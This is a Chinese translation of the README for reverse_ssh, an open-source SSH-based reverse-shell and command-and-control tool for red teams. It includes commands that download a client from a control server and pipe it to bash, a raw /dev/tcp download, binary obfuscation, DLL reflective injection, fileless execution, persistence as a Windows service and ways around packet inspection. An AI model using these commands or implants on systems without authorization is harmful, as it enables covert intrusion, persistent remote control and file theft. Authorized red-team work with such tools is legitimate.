NHAS/reverse_ssh
GitHub: NHAS/reverse_ssh
基于 SSH 协议的反向 shell 工具,支持多种传输层封装和原生 SSH 功能(端口转发、SCP/SFTP),主要用于红队 C2 通信和远程主机管理。
Stars: 1354 | Forks: 182
# Reverse SSH

(图片鸣谢 https://www.instagram.com/smart.hedgehog.art/)
想要使用 SSH 来获取反向 shell 吗?现在你可以做到了。
- 使用原生 SSH 语法来管理和连接反向 shell
- 动态、本地和远程端口转发
- 原生 `SCP` 和 `SFTP` 实现,用于从目标获取文件
- 完整的 Windows shell
- 多种网络传输方式,例如 `http`、`websockets`、`tls` 等
- 客户端与服务器之间的双向认证,以创建高信任度的控制通道
以及更多功能!
```
+----------------+ +---------+
| | | |
| | +---------+ RSSH |
| Reverse | | | Client |
| SSH server | | | |
| | | +---------+
+---------+ | | |
| | | | |
| Human | SSH | | SSH | +---------+
| Client +-------->+ <-----------------+ |
| | | | | | RSSH |
+---------+ | | | | Client |
| | | | |
| | | +---------+
| | |
| | |
+----------------+ | +---------+
| | |
| | RSSH |
+---------+ Client |
| |
+---------+
```
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
- [Reverse SSH](#reverse-ssh)
- [TL;DR(太长不看)](#tldr)
- [设置](#setup)
- [基本用法](#basic-usage)
- [赞助者](#sponsors)
- [个人](#individuals)
- [企业](#companies)
- [高级功能](#fancy-features)
- [权限](#privileges)
- [自动回连](#automatic-connect-back)
- [反向 shell 下载(客户端生成与内置 HTTP 服务器)](#reverse-shell-download-client-generation-and-in-built-http-server)
- [备用传输层 (HTTP/Websockets/TLS)](#alternate-transports-httpwebsocketstls)
- [Bash 自动补全](#bash-autocomplete)
- [Windows DLL 生成](#windows-dll-generation)
- [SSH 子系统](#ssh-subsystems)
- [所有](#all)
- [Linux](#linux)
- [Windows](#windows)
- [Windows 服务集成](#windows-service-integration)
- [完整的 Windows Shell 支持](#full-windows-shell-support)
- [Webhooks](#webhooks)
- [Tun (VPN)](#tun-vpn)
- [无文件执行(客户端支持动态下载可执行文件作为 shell 运行)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell)
- [支持的 URI 方案](#supported-uri-schemes)
- [帮助](#help)
- [Windows](#windows-help)
- [SFTP](#windows-and-sftp)
- [会话生成错误 (0xc0000142)](#session-spawn-errors-0xc0000142)
- [使用 `--insecure` 启动的服务器仍然出现 `Failed to handshake`](#server-started-with---insecure-still-has-failed-to-handshake)
- [前台与后台](#foreground-vs-background)
- [捐赠、支持或回馈](#donations-support-or-giving-back)
## TL;DR(太长不看)
### 设置
推荐使用 Docker 发布版本,因为它包含了正确版本的 Golang 和用于 Windows 的交叉编译器。
```
# 启动服务器
docker run -p3232:2222 -e EXTERNAL_ADDRESS=:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh
```
或者使用 docker compose:
```
services:
reversessh:
image: reversessh/reverse_ssh
ports:
- "3232:2222"
environment:
- EXTERNAL_ADDRESS=:3232
- RSSH_CONSOLE_LABEL=c2.label
- RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
- SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
volumes:
- ./data:/data
```
### 基本用法
```
# 连接到服务器控制台
ssh your.rssh.server.internal -p 3232
# 列出所有服务器控制台命令
catcher$ help
# 构建新客户端并将其托管在内置 webserver 上
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# 使用 curl 或 wget 将此二进制文件下载到目标系统然后执行它,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# 然后我们可以列出哪些客户端已连接
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
```
所有命令均支持 `-h` 参数以获取帮助。
然后,典型的 ssh 命令即可生效,只需将你的 rssh 服务器指定为跳板机 (jump host) 即可。
```
# 连接到完整 shell
ssh -J your.rssh.server.internal:3232 dummy.machine
# 启动远程转发
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
# 启动动态转发
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
```
## 高级功能
### 权限
RSSH 服务器支持非常基础的用户权限。在 `data-directory`/`keys`(由 `--datadir` 指定)文件夹中找到的用户,例如 `data-directory/keys/jim`,将被分配为“普通用户”,他们只能看到公开的客户端(在 `authorized_controllee_keys` 文件中没有 `owners` 标签或 `owners` 标签为空的客户端)或者明确分配给他们的客户端,例如 `owners="jim"`。
这可以在运行时通过用户使用 `access` 命令分享他们拥有的客户端的访问权限来更改,或者由服务器管理员进行更改。默认情况下,在 `authorized_keys` 文件中找到的任何公钥都将被标记为管理员,以保持向后兼容性。
通过 `access` 命令所做的任何更改在服务器重启后都不会保留,若需保留则需要编辑特定客户端的 `authorized_controllee_keys` 文件。
### 自动回连
RSSH 客户端允许你内置一个回连地址。
默认情况下,`link` 命令会内置服务器的外部地址。
如果你(出于某种原因)正在手动构建二进制文件,你可以指定环境变量 `RSSH_HOMESERVER` 将其内置到客户端中:
```
$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make
# 将连接到 your.rssh.server.internal:3232,即使未指定目标
$ bin/client
# 行为与正常情况一致;将连接到提供的主机,例如 example.com:3232
$ bin/client -d example.com:3232
```
### 反向 shell 下载(客户端生成与内置 HTTP/Raw TCP 服务器)
RSSH 服务器可以构建并托管客户端二进制文件(`link` 命令)。这是构建和提供客户端服务的首选方法。
要使此功能正常工作,必须将服务器放置在项目的 `bin/` 文件夹中,因为它需要找到客户端源代码。
默认情况下,`docker` 发布版本已经完成了这些构建,推荐使用。
```
ssh your.rssh.server.internal -p 3232
catcher$ link -h
link [OPTIONS]
Link will compile a client and serve the resulting binary on a link which is returned.
This requires the web server component has been enabled.
--fingerprint Set RSSH server fingerprint will default to server public key
--garble Use garble to obfuscate the binary (requires garble to be installed)
--goarch Set the target build architecture (default runtime GOARCH)
--goarm Set the go arm variable (not set by default)
--goos Set the target build operating system (default runtime GOOS)
--http Use http polling as the underlying transport
--https Use https polling as the underlying transport
--log-level Set default output logging levels, [INFO,WARNING,ERROR,FATAL,DISABLED]
--lzma Use lzma compression for smaller binary at the cost of overhead at execution (requires upx flag to be set)
--name Set the link download url/filename (default random characters)
--no-lib-c Compile client without glibc
--ntlm-proxy-creds Set NTLM proxy credentials in format DOMAIN\\USER:PASS
--owners Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson
--proxy Set connect proxy address to bake it
--raw-download Download over raw TCP, outputs bash downloader rather than http
--shared-object Generate shared object file
--sni When TLS is in use, set a custom SNI for the client to connect with
--stdio Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored
--tls Use TLS as the underlying transport
--upx Use upx to compress the final binary (requires upx to be installed)
--use-kerberos Instruct client to try and use kerberos ticket when using a proxy
--working-directory Set download/working directory for automatic script (i.e doing curl https://.sh)
--ws Use plain http websockets as the underlying transport
--wss Use TLS websockets as the underlying transport
-C Comment to add as the public key (acts as the name)
-l List currently active download links
-o Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson
-r Remove download link
-s Set homeserver address, defaults to server --external_address if set, or server listen address if not
# 生成客户端并通过命名链接提供它
catcher$ link --name test
http://your.rssh.server.internal:3232/test
```
然后你可以通过以下方式下载它:
```
wget http://your.rssh.server.internal:3232/test
chmod +x test
./test
```
或者你可以使用原始 TCP (raw tcp) 下载客户端二进制文件:
```
bash -c "exec 3<>/dev/tcp/your.rssh.server.internal/3232; echo RAWtest>&3; cat <&3" > test
```
其格式仅为 `RAW` 后跟文件名,即在本例中为 `test`,你可以使用 `--raw-download` 让 rssh 自动生成此内容。
RSSH 服务器还支持 `.sh`、`.py` 和 `.ps1` URL 路径后缀,它将生成一个可以通过管道传递给解释器的脚本:
```
curl http://your.rssh.server.internal:3232/test.sh | sh
```
### 备用传输层 (HTTP/Websockets/TLS)
当深度包检测阻止 SSH 从主机或网络出站时,Reverse SSH 服务器和客户端均支持多种传输协议。
你可以通过在客户端中将其指定为 URL 来手动指定回连方案。
例如
```
./client -d ws://your.rssh.server:3232
```
或者通过 `link` 命令将其内置。
```
ssh your.rssh.server -p 3232 link --ws --name test
```
### Bash 自动补全
RSSH 服务器提供了 `autocomplete` 命令,它与 bash 完美集成,以便在不使用服务器控制台时也能拥有自动补全功能。
要安装它们,你只需执行:
```
ssh your.rssh.server.internal -p 3232 autocomplete --shell-completion your.rssh.server.internal:3232
```
并且这将返回一段可以添加到你的 `.zshrc` 或 `.bashrc` 中的自动补全脚本。
例如
```
_RSSHCLIENTSCOMPLETION()
{
local cur=${COMP_WORDS[COMP_CWORD]}
COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 autocomplete --clients)" -- $cur) )
}
_RSSHFUNCTIONSCOMPLETIONS()
{
local cur=${COMP_WORDS[COMP_CWORD]}
COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 help -l)" -- $cur) )
}
complete -F _RSSHFUNCTIONSCOMPLETIONS ssh your.rssh.server.internal -p 3232
complete -F _RSSHCLIENTSCOMPLETION ssh -J your.rssh.server.internal:3232
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 exec
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 connect
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 listen -c
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 kill
```
让你能够直接在终端中进行自动补全:
```
# 将基于哪些客户端已连接为您提供选项
ssh -J your.rssh.server.internal:3232
```
### Windows DLL 生成
你可以将客户端编译为 DLL,以便通过类似 [Invoke-ReflectivePEInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1) 的工具进行加载。当你想要对 rssh 客户端进行无文件注入时,这非常有用。
如果在 Linux 上进行此操作,将需要一个交叉编译器,请使用 `mingw-w64-gcc`,Docker 发布版本中已包含此工具。
```
# 使用 link 命令
catcher$ link --goos windows --shared-object --name windows_dll
http://your.rssh.server.internal:3232/windows_dll
# 如果手动构建
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll
```
### SSH 子系统
SSH 协议支持使用 `-s` 标志调用子系统。在 RSSH 中,此功能被重新利用来为特定平台提供特殊命令以及 `sftp` 支持。
#### 所有
`list` 列出可用的子系统
`sftp`:运行 sftp 处理程序以传输文件
#### Linux
`setgid`:尝试更改组
`setuid`:尝试更改用户
#### Windows
`service`:将 rssh 二进制文件安装或移除为 Windows 服务,需要管理员权限
例如
```
# 将 rssh 二进制文件作为服务安装(仅限 windows)
ssh -J your.rssh.server.internal:3232 test-pc.user.test-pc -s service --install
```
### Windows 服务集成
RSSH 客户端二进制文件支持在 Windows 服务中运行,并且不会在 10 秒后超时。这非常适合用于创建持久的管理服务。
### 完整的 Windows Shell 支持
大多数针对 Windows 的反向 shell 很难生成一个支持调整大小、复制和粘贴以及我们习惯的所有其他功能的 shell 环境。
该项目在较新版本的 Windows 上使用 `conpty`,在较旧版本上使用 `winpty` 库(它会自动解压)。这应该意味着几乎所有版本的 Windows 都能为你提供一个出色的 shell。
### Webhooks
RSSH 服务器可以发出原始 HTTP 请求,该请求通过终端界面中的 `webhook` 命令进行设置。
首先启用一个 webhook:
```
$ ssh your.rssh.server.internal -p 3232
catcher$ webhook --on http://localhost:8080/
```
然后连接或断开一个客户端,此时将发出一个包含以下格式的 `POST` 请求。
```
$ nc -l -p 8080
POST /rssh_webhook HTTP/1.1
Host: localhost:8080
User-Agent: Go-http-client/1.1
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip
{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%
```
另外需要注意的是,如果要将其连接到 Discord,请使用 `/slack` 端点。
### Tun (VPN)
RSSH 和 SSH 支持创建 tuntap 接口,允许你路由流量并创建伪 VPN。相比仅仅使用本地或远程转发(`-L`、`-R`),这确实需要更多的设置,但在这种模式下,你可以发送 `UDP` 和 `ICMP`。
#### 重要提示
如果你连接到一个恶意的 RSSH 客户端,它将能够回连到你的隧道设备。因此,重要的是不要开启转发,并且要么设置防火墙规则来阻止到本地计算机的任何连接,要么在容器/netns 中运行此程序。
在远程机器上安装一个客户端,如果你的 RSSH 客户端与你的 tun 设备位于同一主机上,这将不起作用。
```
sudo ssh -J your.rssh.server.internal:3232 user.wombo -w 0:any
sudo ip link set dev tun0 up
sudo ip route add 0.0.0.0/0 dev tun0
```
这有一些限制,它只能发送 `UDP`/`TCP`/`ICMP`,而不能发送任意第三层协议。`ICMP` 是尽力而为的,可能会使用远程主机的 `ping` 工具,因为 ICMP 套接字在大多数机器上都需要特权。这也不支持 `tap` 设备,例如第二层 VPN,因为这需要管理员访问权限。
### 无文件执行(客户端支持动态下载可执行文件作为 shell 运行)
在指定 rssh 二进制文件应该运行什么可执行文件时,无论是通过完整的 PTY 会话连接还是原始执行,客户端都支持使用 URI 方案下载外部可执行文件。
例如。
```
connect --shell https://your.host/program
ssh -J your.rssh.server:3232 https://your.host/program
```
#### 支持的 URI 方案
`http/https`:纯网络下载
`rssh`:通过 rssh 服务器下载
rssh 服务器将从可执行文件工作目录下的 `downloads` 目录提供内容。
这两种方法都将视情况使用 [memfd](https://man7.org/linux/man-pages/man2/memfd_create.2.html),这不会将任何可执行文件写入磁盘。
# 帮助
## Windows
### SFTP
由于 SFTP 的限制(或者更确切地说是我为此使用的库)。在 Windows 上处理路径需要多费一点功夫。
```
sftp -r -J your.rssh.server.internal:3232 test-pc.user.test-pc:'/C:/Windows/system32'
```
注意起始字符前的 `/`。
## 会话生成错误 (0xc0000142)
在某些执行情况下,连接到 Windows 上的 RSSH 客户端可能会失败且没有错误提示。
```
catcher$ connect windows-system
Session has terminated.
```
客户端日志:
```
2025/08/24 18:25:39 [client] INFO session.go:52 func16() : Session got request: "shell"
2025/08/24 18:25:39 [client] INFO shell_windows.go:137 runWithConpty() : New process with pid 3427 spawned
2025/08/24 18:25:39 [client] INFO session.go:122 func16() : Session disconnected
```
导致此问题的常见原因有两个,第一个是杀毒软件已经终止了生成的 PowerShell,另一个是 `0xc0000142`,这表示生成的进程没有访问 Windows Station 或 Desktop 的权限[来源](https://stackoverflow.com/questions/677874/starting-a-process-with-credentials-from-a-windows-service/30687230#30687230)。
要确定是哪种原因导致了此问题,请在不使用 pty 的情况下执行任何命令:
```
ssh -J rssh windows-system cmd /c dir
exit status 0xc0000142
```
如果你看到 `0xc0000142` 错误代码,请尝试启动 `CMD.exe` 并强制分配一个 pty (`-t`):
```
ssh -t -J rssh windows-system CMD.exe
```
这应该会启动一个交互式 shell。
## 使用 `--insecure` 启动的服务器仍然出现 `Failed to handshake`
如果客户端二进制文件是使用 `link` 命令生成的,则该客户端默认已内置服务器公钥指纹。如果你丢失了服务器的私钥,客户端将无法再进行连接。
你还可以使用 `link --fingerprint ` 生成客户端以指定指纹,但在 1.0.13 版本中目前尚无方法禁用此功能。
## 前台与后台
默认情况下,客户端将在后台运行,然后父进程退出,子进程将接管父进程的 stdout/stderr,因此你仍然可以看到输出。如果你需要调试你的客户端,请使用 `--foreground` 标志。
# 捐赠、支持或回馈
回馈 RSSH 项目的最简单方式是发现 Bug、提出功能需求,并将其通过口碑宣传给你认为会觉得它有用的人!
然而,如果你想直接向我回馈一些东西,你可以通过 Kofi 或 Github Sponsors(在右侧的“Sponsor this Project”下)进行。
或者通过向以下钱包地址发送捐赠来支持我:
Monero (XMR):
`8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND`
Bitcoin (BTC):
`bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr`
标签:EVTX分析, IP 地址批量处理, Rust, SSH, TLS, WebSockets, 内存分配, 反向代理, 反弹Shell, 命令与控制, 安全认证, 数据展示, 文件传输, 日志审计, 端口转发, 红队, 网络信息收集, 网络安全, 网络流量审计, 请求拦截, 远程控制, 远程访问, 防御工具, 隐私保护, 隐蔽通信, 隧道